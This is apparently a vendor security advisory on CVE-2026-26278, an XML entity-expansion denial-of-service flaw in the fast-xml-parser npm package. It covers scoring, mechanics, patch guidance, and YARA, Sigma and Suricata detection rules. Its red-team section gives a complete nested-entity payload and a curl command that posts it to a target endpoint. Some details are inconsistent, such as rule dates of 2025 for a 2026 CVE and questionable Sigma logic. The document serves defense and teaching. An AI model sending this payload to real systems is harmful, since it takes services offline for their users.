CVE-2026-26278

Executive Summary

CVE-2026-26278 is a high-severity (CVSS 7.5) XML Entity Expansion vulnerability in the fast-xml-parser library, affecting versions 4.1.3 through 5.3.5. This flaw allows an attacker to cause a Denial of Service (DoS) by sending a small, specially crafted XML payload containing deeply nested or recursive entity definitions. The parser will attempt to expand these entities indefinitely, consuming excessive CPU and memory resources and effectively freezing the application. The vulnerability is publicly known, and a fix has been released in version 5.3.6. As a workaround, users can disable DOCTYPE processing by setting processEntities: false.

Supply Chain & Package Security

This vulnerability affects the fast-xml-parser npm package, a widely used library for XML parsing in Node.js applications. Organizations using this package in their supply chain are at risk. The package is available on the npm registry and is often included as a dependency in other projects. A successful exploit can lead to application downtime, impacting availability. It is crucial to audit your project's dependencies for vulnerable versions and update to the patched version (5.3.6 or later) immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability due to resource exhaustion.

Threat Level: High. The low attack complexity and network vector make this a significant threat for any application using the vulnerable library to parse untrusted XML input.

Deep Dive & Mechanics

The vulnerability lies in the XML entity expansion mechanism within fast-xml-parser. XML allows the definition of entities in the Document Type Definition (DTD) that can be used as shortcuts or placeholders. An attacker can craft a malicious XML document with a DOCTYPE declaration containing deeply nested or recursive entity definitions.

For example, an attacker can define an entity that references itself or other entities in a way that causes exponential expansion. When the parser processes this input, it attempts to resolve all entity references, leading to an explosion in the number of entities to be processed. This consumes CPU cycles and memory, potentially causing the application to hang or crash.

The vulnerable code path is in the DOCTYPE parsing logic. The fix in version 5.3.6 likely introduces a limit on entity expansion depth or total number of expansions, preventing the unbounded resource consumption.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code does not enforce any limits on entity expansion. It recursively resolves entities without tracking depth or count.

// Vulnerable pseudo-code
function expandEntity(entityName) {
  let entityValue = getEntityDefinition(entityName);
  // Recursively expand without limit
  return expandEntitiesInValue(entityValue);
}

Patched Code (Conceptual): The patched code introduces a maximum expansion depth or count, throwing an error or stopping expansion when the limit is reached.

// Patched pseudo-code
const MAX_ENTITY_EXPANSION_DEPTH = 100;
function expandEntity(entityName, depth = 0) {
  if (depth > MAX_ENTITY_EXPANSION_DEPTH) {
    throw new Error('Entity expansion limit exceeded');
  }
  let entityValue = getEntityDefinition(entityName);
  return expandEntitiesInValue(entityValue, depth + 1);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Demonstrate a Denial of Service attack against a vulnerable application using fast-xml-parser.

Lab Setup:

1. Target Application: A simple Node.js web server that parses XML input using fast-xml-parser version 4.1.3.
2. Attacker Machine: Any system with network access to the target.

Exploit Payload: Create a file named payload.xml with the following content:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe "test">
  <!ENTITY xxe1 "&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;">
  <!ENTITY xxe2 "&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;&xxe1;">
  <!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;">
  <!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;">
  <!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;">
  <!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">
  <!ENTITY xxe7 "&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;">
  <!ENTITY xxe8 "&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;">
  <!ENTITY xxe9 "&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;&xxe8;">
  <!ENTITY xxe10 "&xxe9;&xxe9;&xxe9;&xxe9;&xxe9;&xxe9;&xxe9;&xxe9;&xxe9;&xxe9;">
]>
<root>&xxe10;</root>

Execution: Send the payload to the target application's XML parsing endpoint using curl:

curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://target-app/parse-xml

Expected Outcome: The target application will become unresponsive or consume high CPU for an extended period.

Blue Team (Defense & Detection)

Detection:

• Monitor for unusually high CPU usage on servers processing XML.
• Look for XML payloads with large DOCTYPE declarations or deeply nested entity references.
• Implement network-level detection for known malicious XML patterns.

Mitigation:

• Immediately update fast-xml-parser to version 5.3.6 or later.
• If immediate patching is not possible, set processEntities: false in the parser options to disable DOCTYPE parsing.
• Implement input validation to reject XML documents with DOCTYPE declarations if not required.
• Use a Web Application Firewall (WAF) to filter out malicious XML payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • XML payloads containing <!DOCTYPE and multiple nested <!ENTITY declarations.
  • High volume of requests to XML parsing endpoints with small payload sizes.
• System IOCs:
  • Sustained high CPU usage on the application server.
  • Application logs showing timeouts or unresponsive behavior during XML parsing.
  • Memory exhaustion errors in application logs.

Detection Engineering

YARA Rule

rule CVE_2026_26278_XML_Entity_Expansion {
    meta:
        description = "Detects XML payloads attempting to exploit CVE-2026-26278 via entity expansion"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-26278"
        severity = "high"
    strings:
        $xml_doctype = /<!DOCTYPE\s+\w+/ nocase
        $entity_def = /<!ENTITY\s+\w+\s+"[^"]*"/ nocase
        $entity_ref = /&\w+;/ nocase
    condition:
        $xml_doctype and #entity_def > 5 and #entity_ref > 10
}

Sigma Rule

title: CVE-2026-26278 - XML Entity Expansion DoS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing XML payloads with excessive entity definitions, indicative of CVE-2026-26278 exploitation.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'application/xml'
        cs-uri-query|contains: 'xml'
        cs-referer: ''
    filter:
        cs-uri-query|contains: 'processEntities=false'
    condition: selection and not filter
falsepositives:
    - Legitimate XML documents with complex DTDs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-26278 XML Entity Expansion DoS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"application/xml"; http_content_type; pcre:"/<!DOCTYPE\s+\w+/i"; pcre:"/(?:<!ENTITY\s+\w+\s+\"[^\"]*\"){5,}/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade fast-xml-parser to version 5.3.6 or later.

   npm install fast-xml-parser@5.3.6
   

2. Workaround: If immediate upgrade is not possible, disable DOCTYPE parsing by setting processEntities: false in the parser options.

   const parser = new XMLParser({ processEntities: false });
   

3. Input Validation: Reject any XML input containing a DOCTYPE declaration if your application does not require DTD processing.
4. Network Controls: Deploy WAF rules to block XML payloads with excessive entity definitions.
5. Monitoring: Implement monitoring for abnormal CPU usage and XML parsing errors.

Valters IT
Securing Digital Frontiers